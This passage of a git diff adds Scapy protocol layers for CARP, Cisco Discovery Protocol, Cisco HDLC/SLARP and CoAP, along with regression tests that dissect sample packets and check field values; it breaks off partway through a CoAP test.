+    fields_desc = [ BitField("version", 4, 4),
+        BitField("type", 4, 4),
+        ByteField("vhid", 1),
+        ByteField("advskew", 0),
+        ByteField("authlen", 0),
+        ByteField("demotion", 0),
+        ByteField("advbase", 0),
+        XShortField("chksum", 0),
+        XIntField("counter1", 0),
+        XIntField("counter2", 0),
+        XIntField("hmac1", 0),
+        XIntField("hmac2", 0),
+        XIntField("hmac3", 0),
+        XIntField("hmac4", 0),
+        XIntField("hmac5", 0)
+    ]
+
+    def post_build(self, pkt, pay):
+        if self.chksum == None:
+            pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:]
+
+        return pkt
+
+def build_hmac_sha1(pkt, pw = b'\0' * 20, ip4l=None, ip6l=None):
+    if ip4l is None:
+        ip4l = []
+    if ip6l is None:
+        ip6l = []
+    if not pkt.haslayer(CARP):
+        return None 
+
+    p = pkt[CARP]
+    h = hmac.new(pw, digestmod = hashlib.sha1)
+    # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field
+    h.update(b'\x21')
+    # XXX: mac addy if different from special link layer. comes before vhid
+    h.update(struct.pack('!B', p.vhid))
+
+    sl = []
+    for i in ip4l:
+        # sort ips from smallest to largest
+        sl.append(inet_aton(i))
+    sl.sort()
+
+    for i in sl:
+        h.update(i)
+
+    # XXX: do ip6l sorting
+
+    return h.digest()
+
+"""
+XXX: Usually CARP is multicast to 224.0.0.18 but because of virtual setup, it'll 
+be unicast between nodes. Uncomment the following line for normal use
+bind_layers(IP, CARP, proto=112, dst='224.0.0.18')
+"""
+bind_layers(IP, CARP, proto=112)
diff --git a/scapy/contrib/cdp.py b/scapy/contrib/cdp.py
new file mode 100644
index 0000000..c8b7f10
--- /dev/null
+++ b/scapy/contrib/cdp.py
@@ -0,0 +1,343 @@
+#! /usr/bin/env python
+
+# scapy.contrib.description = Cisco Discovery Protocol
+# scapy.contrib.status = loads
+
+#############################################################################
+##                                                                         ##
+## cdp.py --- Cisco Discovery Protocol (CDP) extension for Scapy           ##
+##                                                                         ##
+## Copyright (C) 2006    Nicolas Bareil  <nicolas.bareil AT eads DOT net>  ##
+##                       Arnaud Ebalard  <arnaud.ebalard AT eads DOT net>  ##
+##                       EADS/CRC security team                            ##
+##                                                                         ##
+## This file is part of Scapy                                              ##
+## Scapy is free software: you can redistribute it and/or modify it        ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation; version 2.                   ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
+## General Public License for more details.                                ##
+##                                                                         ##
+#############################################################################
+
+from __future__ import absolute_import
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet6 import *
+from scapy.compat import orb
+from scapy.modules.six.moves import range
+
+
+#####################################################################
+# Helpers and constants
+#####################################################################
+
+# CDP TLV classes keyed by type
+_cdp_tlv_cls = { 0x0001: "CDPMsgDeviceID",
+                 0x0002: "CDPMsgAddr",
+                 0x0003: "CDPMsgPortID",
+                 0x0004: "CDPMsgCapabilities",
+                 0x0005: "CDPMsgSoftwareVersion",
+                 0x0006: "CDPMsgPlatform",
+                 0x0007: "CDPMsgIPPrefix",
+                 0x0008: "CDPMsgProtoHello",
+                 0x0009: "CDPMsgVTPMgmtDomain", # CDPv2
+                 0x000a: "CDPMsgNativeVLAN",    # CDPv2
+                 0x000b: "CDPMsgDuplex",        # 
+#                 0x000c: "CDPMsgGeneric",
+#                 0x000d: "CDPMsgGeneric",
+                 0x000e: "CDPMsgVoIPVLANReply",
+                 0x000f: "CDPMsgVoIPVLANQuery",
+                 0x0010: "CDPMsgPower",
+                 0x0011: "CDPMsgMTU",
+                 0x0012: "CDPMsgTrustBitmap",
+                 0x0013: "CDPMsgUntrustedPortCoS",
+#                 0x0014: "CDPMsgSystemName",
+#                 0x0015: "CDPMsgSystemOID",
+                 0x0016: "CDPMsgMgmtAddr",
+#                 0x0017: "CDPMsgLocation",
+                 0x0019: "CDPMsgUnknown19",
+#                 0x001a: "CDPPowerAvailable"
+                 }
+
+_cdp_tlv_types = { 0x0001: "Device ID",
+                   0x0002: "Addresses",
+                   0x0003: "Port ID",
+                   0x0004: "Capabilities",
+                   0x0005: "Software Version",
+                   0x0006: "Platform",
+                   0x0007: "IP Prefix",
+                   0x0008: "Protocol Hello",
+                   0x0009: "VTP Management Domain", # CDPv2
+                   0x000a: "Native VLAN",    # CDPv2
+                   0x000b: "Duplex",        # 
+                   0x000c: "CDP Unknown command (send us a pcap file)",
+                   0x000d: "CDP Unknown command (send us a pcap file)",
+                   0x000e: "VoIP VLAN Reply",
+                   0x000f: "VoIP VLAN Query",
+                   0x0010: "Power",
+                   0x0011: "MTU",
+                   0x0012: "Trust Bitmap",
+                   0x0013: "Untrusted Port CoS",
+                   0x0014: "System Name",
+                   0x0015: "System OID",
+                   0x0016: "Management Address",
+                   0x0017: "Location",
+                   0x0018: "CDP Unknown command (send us a pcap file)",
+                   0x0019: "CDP Unknown command (send us a pcap file)",
+                   0x001a: "Power Available"}
+
+def _CDPGuessPayloadClass(p, **kargs):
+    cls = conf.raw_layer
+    if len(p) >= 2:
+        t = struct.unpack("!H", p[:2])[0]
+        clsname = _cdp_tlv_cls.get(t, "CDPMsgGeneric")
+        cls = globals()[clsname]
+
+    return cls(p, **kargs)
+
+class CDPMsgGeneric(Packet):
+    name = "CDP Generic Message"
+    fields_desc = [ XShortEnumField("type", None, _cdp_tlv_types),
+                    FieldLenField("len", None, "val", "!H"),
+                    StrLenField("val", "", length_from=lambda x:x.len - 4) ]
+
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer # _CDPGuessPayloadClass
+
+class CDPMsgDeviceID(CDPMsgGeneric):
+    name = "Device ID"
+    type = 0x0001
+
+_cdp_addr_record_ptype = {0x01: "NLPID", 0x02: "802.2"}
+_cdp_addrrecord_proto_ip = b"\xcc"
+_cdp_addrrecord_proto_ipv6 = b"\xaa\xaa\x03\x00\x00\x00\x86\xdd"
+
+class CDPAddrRecord(Packet):
+    name = "CDP Address"
+    fields_desc = [ ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype),
+                    FieldLenField("plen", None, "proto", "B"),
+                    StrLenField("proto", None, length_from=lambda x:x.plen),
+                    FieldLenField("addrlen", None, length_of=lambda x:x.addr),
+                    StrLenField("addr", None, length_from=lambda x:x.addrlen)]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+class CDPAddrRecordIPv4(CDPAddrRecord):
+    name = "CDP Address IPv4"
+    fields_desc = [ ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype),
+                    FieldLenField("plen", 1, "proto", "B"),
+                    StrLenField("proto", _cdp_addrrecord_proto_ip, length_from=lambda x:x.plen),
+                    ShortField("addrlen", 4),
+                    IPField("addr", "0.0.0.0")]
+
+class CDPAddrRecordIPv6(CDPAddrRecord):
+    name = "CDP Address IPv6"
+    fields_desc = [ ByteEnumField("ptype", 0x02, _cdp_addr_record_ptype),
+                    FieldLenField("plen", 8, "proto", "B"),
+                    StrLenField("proto", _cdp_addrrecord_proto_ipv6, length_from=lambda x:x.plen),
+                    ShortField("addrlen", 16),
+                    IP6Field("addr", "::1")]
+
+def _CDPGuessAddrRecord(p, **kargs):
+    cls = conf.raw_layer
+    if len(p) >= 2:
+        plen = orb(p[1])
+        proto = p[2:plen + 2]
+
+        if proto == _cdp_addrrecord_proto_ip:
+            clsname = "CDPAddrRecordIPv4"
+        elif proto == _cdp_addrrecord_proto_ipv6:
+            clsname = "CDPAddrRecordIPv6"
+        else:
+            clsname = "CDPAddrRecord"
+
+        cls = globals()[clsname]
+
+    return cls(p, **kargs)
+
+class CDPMsgAddr(CDPMsgGeneric):
+    name = "Addresses"
+    fields_desc = [ XShortEnumField("type", 0x0002, _cdp_tlv_types),
+                    ShortField("len", None),
+                    FieldLenField("naddr", None, "addr", "!I"),
+                    PacketListField("addr", [], _CDPGuessAddrRecord, count_from=lambda x:x.naddr) ]
+
+    def post_build(self, pkt, pay):
+        if self.len is None:
+            l = 8 + len(self.addr) * 9
+            pkt = pkt[:2] + struct.pack("!H", l) + pkt[4:]
+        p = pkt + pay
+        return p
+
+class CDPMsgPortID(CDPMsgGeneric):
+    name = "Port ID"
+    fields_desc = [ XShortEnumField("type", 0x0003, _cdp_tlv_types),
+                    FieldLenField("len", None, "iface", "!H"),
+                    StrLenField("iface", "Port 1", length_from=lambda x:x.len - 4) ]
+
+
+_cdp_capabilities = ["Router",
+                     "TransparentBridge",
+                     "SourceRouteBridge",
+                     "Switch",
+                     "Host",
+                     "IGMPCapable",
+                     "Repeater"] + ["Bit%d" % x for x in range(25, 0, -1)]
+
+
+class CDPMsgCapabilities(CDPMsgGeneric):
+    name = "Capabilities"
+    fields_desc = [ XShortEnumField("type", 0x0004, _cdp_tlv_types),
+                    ShortField("len", 8),
+                    FlagsField("cap", 0, 32,  _cdp_capabilities) ]
+
+
+class CDPMsgSoftwareVersion(CDPMsgGeneric):
+    name = "Software Version"
+    type = 0x0005
+
+
+class CDPMsgPlatform(CDPMsgGeneric):
+    name = "Platform"
+    type = 0x0006
+
+_cdp_duplex = { 0x00: "Half", 0x01: "Full" }
+
+# ODR Routing
+class CDPMsgIPPrefix(CDPMsgGeneric):
+    name = "IP Prefix"
+    type = 0x0007
+    fields_desc = [ XShortEnumField("type", 0x0007, _cdp_tlv_types),
+                    ShortField("len", 8),
+                    IPField("defaultgw", "192.168.0.1") ]
+
+class CDPMsgProtoHello(CDPMsgGeneric):
+    name = "Protocol Hello"
+    type = 0x0008
+    fields_desc = [ XShortEnumField("type", 0x0008, _cdp_tlv_types),
+                    ShortField("len", 32),
+                    X3BytesField("oui", 0x00000c),
+                    XShortField("protocol_id", 0x0),
+                    # TLV length (len) - 2 (type) - 2 (len) - 3 (OUI) - 2
+                    # (Protocol ID)
+                    StrLenField("data", "", length_from=lambda p: p.len - 9) ]
+
+class CDPMsgVTPMgmtDomain(CDPMsgGeneric):
+    name = "VTP Management Domain"
+    type = 0x0009
+
+class CDPMsgNativeVLAN(CDPMsgGeneric):
+    name = "Native VLAN"
+    fields_desc = [ XShortEnumField("type", 0x000a, _cdp_tlv_types),
+                    ShortField("len", 6),
+                    ShortField("vlan", 1) ]
+
+class CDPMsgDuplex(CDPMsgGeneric):
+    name = "Duplex"
+    fields_desc = [ XShortEnumField("type", 0x000b, _cdp_tlv_types),
+                    ShortField("len", 5),
+                    ByteEnumField("duplex", 0x00, _cdp_duplex) ]
+
+class CDPMsgVoIPVLANReply(CDPMsgGeneric):
+    name = "VoIP VLAN Reply"
+    fields_desc = [ XShortEnumField("type", 0x000e, _cdp_tlv_types),
+                    ShortField("len", 7),
+                    ByteField("status?", 1),
+                    ShortField("vlan", 1) ]
+
+
+class CDPMsgVoIPVLANQuery(CDPMsgGeneric):
+    name = "VoIP VLAN Query"
+    type = 0x000f
+    fields_desc = [ XShortEnumField("type", 0x000f, _cdp_tlv_types),
+                    ShortField("len", 7),
+                    XByteField("unknown1", 0),
+                    ShortField("vlan", 1),
+                    # TLV length (len) - 2 (type) - 2 (len) - 1 (unknown1) - 2 (vlan)
+                    StrLenField("unknown2", "", length_from=lambda p: p.len - 7) ]
+
+
+class _CDPPowerField(ShortField):
+    def i2repr(self, pkt, x):
+        if x is None:
+            x = 0
+        return "%d mW" % x
+
+
+class CDPMsgPower(CDPMsgGeneric):
+    name = "Power"
+    # Check if field length is fixed (2 bytes)
+    fields_desc = [ XShortEnumField("type", 0x0010, _cdp_tlv_types),
+                    ShortField("len", 6),
+                    _CDPPowerField("power", 1337)]
+
+
+class CDPMsgMTU(CDPMsgGeneric):
+    name = "MTU"
+    # Check if field length is fixed (2 bytes)
+    fields_desc = [ XShortEnumField("type", 0x0011, _cdp_tlv_types),
+                    ShortField("len", 6),
+                    ShortField("mtu", 1500)]
+
+class CDPMsgTrustBitmap(CDPMsgGeneric):
+    name = "Trust Bitmap"
+    fields_desc = [ XShortEnumField("type", 0x0012, _cdp_tlv_types),
+                    ShortField("len", 5),
+                    XByteField("trust_bitmap", 0x0) ]
+
+class CDPMsgUntrustedPortCoS(CDPMsgGeneric):
+    name = "Untrusted Port CoS"
+    fields_desc = [ XShortEnumField("type", 0x0013, _cdp_tlv_types),
+                    ShortField("len", 5),
+                    XByteField("untrusted_port_cos", 0x0) ]
+
+class CDPMsgMgmtAddr(CDPMsgAddr):
+    name = "Management Address"
+    type = 0x0016
+
+class CDPMsgUnknown19(CDPMsgGeneric):
+    name = "Unknown CDP Message"
+    type = 0x0019
+
+class CDPMsg(CDPMsgGeneric):
+    name = "CDP "
+    fields_desc = [ XShortEnumField("type", None, _cdp_tlv_types),
+                    FieldLenField("len", None, "val", "!H"),
+                    StrLenField("val", "", length_from=lambda x:x.len - 4) ]
+
+class _CDPChecksum:
+    def _check_len(self, pkt):
+        """Check for odd packet length and pad according to Cisco spec.
+        This padding is only used for checksum computation.  The original
+        packet should not be altered."""
+        if len(pkt) % 2:
+            last_chr = pkt[-1]
+            if last_chr <= b'\x80':
+                return pkt[:-1] + b'\x00' + last_chr
+            else:
+                return pkt[:-1] + b'\xff' + chb(orb(last_chr) - 1)
+        else:
+            return pkt
+
+    def post_build(self, pkt, pay):
+        p = pkt + pay
+        if self.cksum is None:
+            cksum = checksum(self._check_len(p))
+            p = p[:2] + struct.pack("!H", cksum) + p[4:]
+        return p
+
+class CDPv2_HDR(_CDPChecksum, CDPMsgGeneric):
+    name = "Cisco Discovery Protocol version 2"
+    fields_desc = [ ByteField("vers", 2),
+                    ByteField("ttl", 180),
+                    XShortField("cksum", None),
+                    PacketListField("msg", [], _CDPGuessPayloadClass) ]
+
+bind_layers(SNAP, CDPv2_HDR, {"code": 0x2000, "OUI": 0xC})
+
diff --git a/scapy/contrib/cdp.uts b/scapy/contrib/cdp.uts
new file mode 100644
index 0000000..b70c43a
--- /dev/null
+++ b/scapy/contrib/cdp.uts
@@ -0,0 +1,59 @@
+#################################### cdp.py ##################################
+% Regression tests for the cdp module
+
+
+################################## CDPv2_HDR ##################################
++ CDP
+
+= CDPv2 - Dissection (1)
+s = b'\x02\xb4\x8c\xfa\x00\x01\x00\x0cmyswitch\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd\x00\x03\x00\x13FastEthernet0/1\x00\x04\x00\x08\x00\x00\x00(\x00\x05\x01\x14Cisco Internetwork Operating System Software \nIOS (tm) C2950 Software (C2950-I6K2L2Q4-M), Version 12.1(22)EA14, RELEASE SOFTWARE (fc1)\nTechnical Support: http://www.cisco.com/techsupport\nCopyright (c) 1986-2010 by cisco Systems, Inc.\nCompiled Tue 26-Oct-10 10:35 by nburra\x00\x06\x00\x15cisco WS-C2950-12\x00\x08\x00$\x00\x00\x0c\x01\x12\x00\x00\x00\x00\xff\xff\xff\xff\x01\x02!\xff\x00\x00\x00\x00\x00\x00\x00\x0b\xbe\x18\x9a@\xff\x00\x00\x00\t\x00\x0cMYDOMAIN\x00\n\x00\x06\x00\x01\x00\x0b\x00\x05\x01\x00\x0e\x00\x07\x01\x00\n\x00\x12\x00\x05\x00\x00\x13\x00\x05\x00\x00\x16\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd'
+cdpv2 = CDPv2_HDR(s)
+assert(cdpv2.vers == 2)
+assert(cdpv2.ttl == 180)
+assert(cdpv2.cksum == 0x8cfa)
+assert(cdpv2.haslayer(CDPMsgDeviceID))
+assert(cdpv2.haslayer(CDPMsgAddr))
+assert(cdpv2.haslayer(CDPAddrRecordIPv4))
+assert(cdpv2.haslayer(CDPMsgPortID))
+assert(cdpv2.haslayer(CDPMsgCapabilities))
+assert(cdpv2.haslayer(CDPMsgSoftwareVersion))
+assert(cdpv2.haslayer(CDPMsgPlatform))
+assert(cdpv2.haslayer(CDPMsgProtoHello))
+assert(cdpv2.haslayer(CDPMsgVTPMgmtDomain))
+assert(cdpv2.haslayer(CDPMsgNativeVLAN))
+assert(cdpv2.haslayer(CDPMsgDuplex))
+assert(cdpv2.haslayer(CDPMsgVoIPVLANReply))
+assert(cdpv2.haslayer(CDPMsgTrustBitmap))
+assert(cdpv2.haslayer(CDPMsgUntrustedPortCoS))
+assert(cdpv2.haslayer(CDPMsgMgmtAddr))
+assert(cdpv2[CDPMsgProtoHello].len == 36)
+assert(cdpv2[CDPMsgProtoHello].oui == 0xc)
+assert(cdpv2[CDPMsgProtoHello].protocol_id == 0x112)
+assert(cdpv2[CDPMsgTrustBitmap].type == 0x0012)
+assert(cdpv2[CDPMsgTrustBitmap].len == 5)
+assert(cdpv2[CDPMsgTrustBitmap].trust_bitmap == 0x0)
+assert(cdpv2[CDPMsgUntrustedPortCoS].type == 0x0013)
+assert(cdpv2[CDPMsgUntrustedPortCoS].len == 5)
+assert(cdpv2[CDPMsgUntrustedPortCoS].untrusted_port_cos == 0x0)
+
+= CDPv2 - Dissection (2)
+s = b'\x02\xb4\xd7\xdb\x00\x01\x00\x13SIP001122334455\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x01!\x00\x03\x00\nPort 1\x00\x04\x00\x08\x00\x00\x00\x10\x00\x05\x00\x10P003-08-2-00\x00\x06\x00\x17Cisco IP Phone 7960\x00\x0f\x00\x08 \x02\x00\x01\x00\x0b\x00\x05\x01\x00\x10\x00\x06\x18\x9c'
+cdpv2 = CDPv2_HDR(s)
+assert(cdpv2.vers == 2)
+assert(cdpv2.ttl == 180)
+assert(cdpv2.cksum == 0xd7db)
+assert(cdpv2.haslayer(CDPMsgDeviceID))
+assert(cdpv2.haslayer(CDPMsgAddr))
+assert(cdpv2.haslayer(CDPAddrRecordIPv4))
+assert(cdpv2.haslayer(CDPMsgPortID))
+assert(cdpv2.haslayer(CDPMsgCapabilities))
+assert(cdpv2.haslayer(CDPMsgSoftwareVersion))
+assert(cdpv2.haslayer(CDPMsgPlatform))
+assert(cdpv2.haslayer(CDPMsgVoIPVLANQuery))
+assert(cdpv2.haslayer(CDPMsgDuplex))
+assert(cdpv2.haslayer(CDPMsgPower))
+assert(cdpv2[CDPMsgVoIPVLANQuery].type == 0x000f)
+assert(cdpv2[CDPMsgVoIPVLANQuery].len == 8)
+assert(cdpv2[CDPMsgVoIPVLANQuery].unknown1 == 0x20)
+assert(cdpv2[CDPMsgVoIPVLANQuery].vlan == 512)
+
diff --git a/scapy/contrib/chdlc.py b/scapy/contrib/chdlc.py
new file mode 100644
index 0000000..b86072f
--- /dev/null
+++ b/scapy/contrib/chdlc.py
@@ -0,0 +1,55 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = Cisco HDLC and SLARP
+# scapy.contrib.status = loads
+
+# This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt
+
+from scapy.data import DLT_C_HDLC
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import *
+from scapy.layers.inet import *
+from scapy.layers.inet6 import *
+
+class CHDLC(Packet):
+    name = "Cisco HDLC"
+    fields_desc = [ ByteEnumField("address", 0x0f, {0x0f : "unicast", 0x8f :"multicast"}),
+                    ByteField("control", 0),
+                    XShortField("proto", 0x0800)]
+
+class SLARP(Packet):
+    name = "SLARP"
+    fields_desc = [ IntEnumField("type", 2, {0 : "request", 1 : "reply", 2 :"line keepalive"}),
+                    ConditionalField(IPField("address", "192.168.0.1"),
+                                        lambda pkt : pkt.type == 0 or pkt.type == 1),
+                    ConditionalField(IPField("mask", "255.255.255.0"),
+                                        lambda pkt : pkt.type == 0 or pkt.type == 1),
+                    ConditionalField(XShortField("unused", 0),
+                                        lambda pkt : pkt.type == 0 or pkt.type == 1),
+                    ConditionalField(IntField("mysequence", 0),
+                                        lambda pkt : pkt.type == 2),
+                    ConditionalField(IntField("yoursequence", 0),
+                                        lambda pkt : pkt.type == 2),
+                    ConditionalField(XShortField("reliability", 0xffff),
+                                        lambda pkt : pkt.type == 2)]
+
+bind_layers( CHDLC, Dot3,  proto=0x6558)
+bind_layers( CHDLC, IP,    proto=0x800)
+bind_layers( CHDLC, IPv6,  proto=0x86dd)
+bind_layers( CHDLC, SLARP, proto=0x8035)
+bind_layers( CHDLC, STP,   proto=0x4242)
+
+conf.l2types.register(DLT_C_HDLC, CHDLC)
diff --git a/scapy/contrib/coap.py b/scapy/contrib/coap.py
new file mode 100644
index 0000000..3dcbc5a
--- /dev/null
+++ b/scapy/contrib/coap.py
@@ -0,0 +1,250 @@
+#! /usr/bin/env python
+
+# This file is part of Scapy.
+# See http://www.secdev.org/projects/scapy for more information.
+#
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# (at your option) any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy.  If not, see <http://www.gnu.org/licenses/>.
+#
+# Copyright (C) 2016 Anmol Sarma <me@anmolsarma.in>
+
+# scapy.contrib.description = Constrained Application Protocol (CoAP)
+# scapy.contrib.status = loads
+
+"""
+RFC 7252 - Constrained Application Protocol (CoAP) layer for Scapy
+"""
+
+from scapy.fields import *
+from scapy.layers.inet import UDP
+from scapy.packet import *
+from scapy.error import warning
+from scapy.compat import raw
+
+coap_codes = {
+    0: "Empty",
+    # Request codes
+    1: "GET",
+    2: "POST",
+    3: "PUT",
+    4: "DELETE",
+    # Response codes
+    65: "2.01 Created",
+    66: "2.02 Deleted",
+    67: "2.03 Valid",
+    68: "2.04 Changed",
+    69: "2.05 Content",
+    128: "4.00 Bad Request",
+    129: "4.01 Unauthorized",
+    130: "4.02 Bad Option",
+    131: "4.03 Forbidden",
+    132: "4.04 Not Found",
+    133: "4.05 Method Not Allowed",
+    134: "4.06 Not Acceptable",
+    140: "4.12 Precondition Failed",
+    141: "4.13 Request Entity Too Large",
+    143: "4.15 Unsupported Content-Format",
+    160: "5.00 Internal Server Error",
+    161: "5.01 Not Implemented",
+    162: "5.02 Bad Gateway",
+    163: "5.03 Service Unavailable",
+    164: "5.04 Gateway Timeout",
+    165: "Proxying Not Supported"}
+
+coap_options = ({
+                    1: "If-Match",
+                    3: "Uri-Host",
+                    4: "ETag",
+                    5: "If-None-Match",
+                    7: "Uri-Port",
+                    8: "Location-Path",
+                    11: "Uri-Path",
+                    12: "Content-Format",
+                    14: "Max-Age",
+                    15: "Uri-Query",
+                    17: "Accept",
+                    20: "Location-Query",
+                    35: "Proxy-Uri",
+                    39: "Proxy-Scheme",
+                    60: "Size1"
+                },
+                {
+                    "If-Match": 1,
+                    "Uri-Host": 3,
+                    "ETag": 4,
+                    "If-None-Match": 5,
+                    "Uri-Port": 7,
+                    "Location-Path": 8,
+                    "Uri-Path": 11,
+                    "Content-Format": 12,
+                    "Max-Age": 14,
+                    "Uri-Query": 15,
+                    "Accept": 17,
+                    "Location-Query": 20,
+                    "Proxy-Uri": 35,
+                    "Proxy-Scheme": 39,
+                    "Size1": 60
+                })
+
+
+def _get_ext_field_size(val):
+    if val >= 15:
+        warning("Invalid Option Delta or Length")
+    if val == 14:
+        return 2
+    if val == 13:
+        return 1
+    return 0
+
+
+def _get_delta_ext_size(pkt):
+    return _get_ext_field_size(pkt.delta)
+
+
+def _get_len_ext_size(pkt):
+    return _get_ext_field_size(pkt.len)
+
+
+def _get_abs_val(val, ext_val):
+    if val >= 15:
+        warning("Invalid Option Length or Delta %d" % val)
+    if val == 14:
+        return 269 + struct.unpack('H', ext_val)[0]
+    if val == 13:
+        return 13 + struct.unpack('B', ext_val)[0]
+    return val
+
+
+def _get_opt_val_size(pkt):
+    return _get_abs_val(pkt.len, pkt.len_ext)
+
+
+class _CoAPOpt(Packet):
+    fields_desc = [BitField("delta", 0, 4),
+                   BitField("len", 0, 4),
+                   StrLenField("delta_ext", None, length_from=_get_delta_ext_size),
+                   StrLenField("len_ext", None, length_from=_get_len_ext_size),
+                   StrLenField("opt_val", None, length_from=_get_opt_val_size)]
+
+    @staticmethod
+    def _populate_extended(val):
+        if val >= 269:
+            return struct.pack('H', val - 269), 14
+        if val >= 13:
+            return struct.pack('B', val - 13), 13
+        return None, val
+
+    def do_build(self):
+        self.delta_ext, self.delta = self._populate_extended(self.delta)
+        self.len_ext, self.len = self._populate_extended(len(self.opt_val))
+
+        return Packet.do_build(self)
+
+    def guess_payload_class(self, payload):
+        if payload[:1] != b"\xff":
+            return _CoAPOpt
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class _CoAPOptsField(StrField):
+    islist = 1
+
+    def i2h(self, pkt, x):
+        return [(coap_options[0][o[0]], o[1]) if o[0] in coap_options[0] else o for o in x]
+
+    # consume only the coap layer from the wire string
+    def getfield(self, pkt, s):
+        opts = self.m2i(pkt, s)
+        used = 0
+        for o in opts:
+            used += o[0]
+        return s[used:], [ (o[1], o[2]) for o in opts ]
+
+    def m2i(self, pkt, x):
+        opts = []
+        o = _CoAPOpt(x)
+        cur_delta = 0
+        while isinstance(o, _CoAPOpt):
+            cur_delta += _get_abs_val(o.delta, o.delta_ext)
+            # size of this option in bytes
+            u = 1 + len(o.opt_val) + len(o.delta_ext) + len(o.len_ext)
+            opts.append((u, cur_delta, o.opt_val))
+            o = o.payload
+        return opts
+
+    def i2m(self, pkt, x):
+        if not x:
+            return b""
+        opt_lst = []
+        for o in x:
+            if isinstance(o[0], str):
+                opt_lst.append((coap_options[1][o[0]], o[1]))
+            else:
+                opt_lst.append(o)
+        opt_lst.sort(key=lambda o:o[0])
+
+        opts = _CoAPOpt(delta=opt_lst[0][0], opt_val=opt_lst[0][1])
+        high_opt = opt_lst[0][0]
+        for o in opt_lst[1:]:
+            opts = opts / _CoAPOpt(delta=o[0] - high_opt, opt_val=o[1])
+            high_opt = o[0]
+
+        return raw(opts)
+
+class _CoAPPaymark(StrField):
+
+    def i2h(self, pkt, x):
+        return x
+
+    def getfield(self, pkt, s):
+        (u, m) = self.m2i(pkt, s)
+        return s[u:], m
+
+    def m2i(self, pkt, x):
+        if len(x) > 0 and x[:1] == b"\xff":
+            return 1, b'\xff'
+        return 0, b'';
+
+    def i2m(self, pkt, x):
+        return x
+
+
+class CoAP(Packet):
+    __slots__ = ["content_format"]
+    name = "CoAP"
+
+    fields_desc = [BitField("ver", 1, 2),
+                   BitEnumField("type", 0, 2, {0: "CON", 1: "NON", 2: "ACK", 3: "RST"}),
+                   BitFieldLenField("tkl", None, 4, length_of='token'),
+                   ByteEnumField("code", 0, coap_codes),
+                   ShortField("msg_id", 0),
+                   StrLenField("token", "", length_from=lambda pkt: pkt.tkl),
+                   _CoAPOptsField("options", []),
+                   _CoAPPaymark("paymark", b"")
+                   ]
+
+    def getfieldval(self, attr):
+        v = getattr(self, attr)
+        if v:
+            return v
+        return Packet.getfieldval(self, attr)
+
+    def post_dissect(self, pay):
+        for k in self.options:
+            if k[0] == "Content-Format":
+                self.content_format = k[1]
+        return pay
+
+bind_layers(UDP, CoAP, sport=5683)
+bind_layers(UDP, CoAP, dport=5683)
diff --git a/scapy/contrib/coap.uts b/scapy/contrib/coap.uts
new file mode 100644
index 0000000..a777735
--- /dev/null
+++ b/scapy/contrib/coap.uts
@@ -0,0 +1,63 @@
+% CoAP layer test campaign
+
++ Syntax check
+= Import the CoAP layer
+from scapy.contrib.coap import *
+
++ Test CoAP
+= CoAP default values
+assert(raw(CoAP()) == b'\x40\x00\x00\x00')
+
+= Token length calculation
+p = CoAP(token='foobar')
+assert(CoAP(raw(p)).tkl == 6)
+
+= CON GET dissect
+p = CoAP(b'\x40\x01\xd9\xe1\xbb\x2e\x77\x65\x6c\x6c\x2d\x6b\x6e\x6f\x77\x6e\x04\x63\x6f\x72\x65')
+assert(p.code == 1)
+assert(p.ver == 1)
+assert(p.tkl == 0)
+assert(p.tkl == 0)
+assert(p.msg_id == 55777)
+assert(p.token == b'')
+assert(p.type == 0)
+assert(p.options == [('Uri-Path', b'.well-known'), ('Uri-Path', b'core')])
+
+= Extended option delta
+assert(raw(CoAP(options=[("Uri-Query", "query")])) == b'\x40\x00\x00\x00\xd5\x02\x71\x75\x65\x72\x79')
+
+= Extended option length
+assert(raw(CoAP(options=[("Location-Path", 'x' * 280)])) == b'\x40\x00\x00\x00\x8e\x0b\x00' + b'\x78' * 280)
+
+= Options should be ordered by option number
+assert(raw(CoAP(options=[("Uri-Query", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x61\x41\x62')
+
+= Options of the same type should not be reordered
+assert(raw(CoAP(options=[("Uri-Path", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x62\x01\x61')
+
++ Test layer binding
+= Destination port
+p = UDP()/CoAP()
+assert(p[UDP].dport == 5683)
+
+= Source port
+s = b'\x16\x33\xa0\xa4\x00\x78\xfe\x8b\x60\x45\xd9\xe1\xc1\x28\xff\x3c\x2f\x3e\x3b\x74\x69\x74\x6c\x65\x3d\x22\x47\x65' \
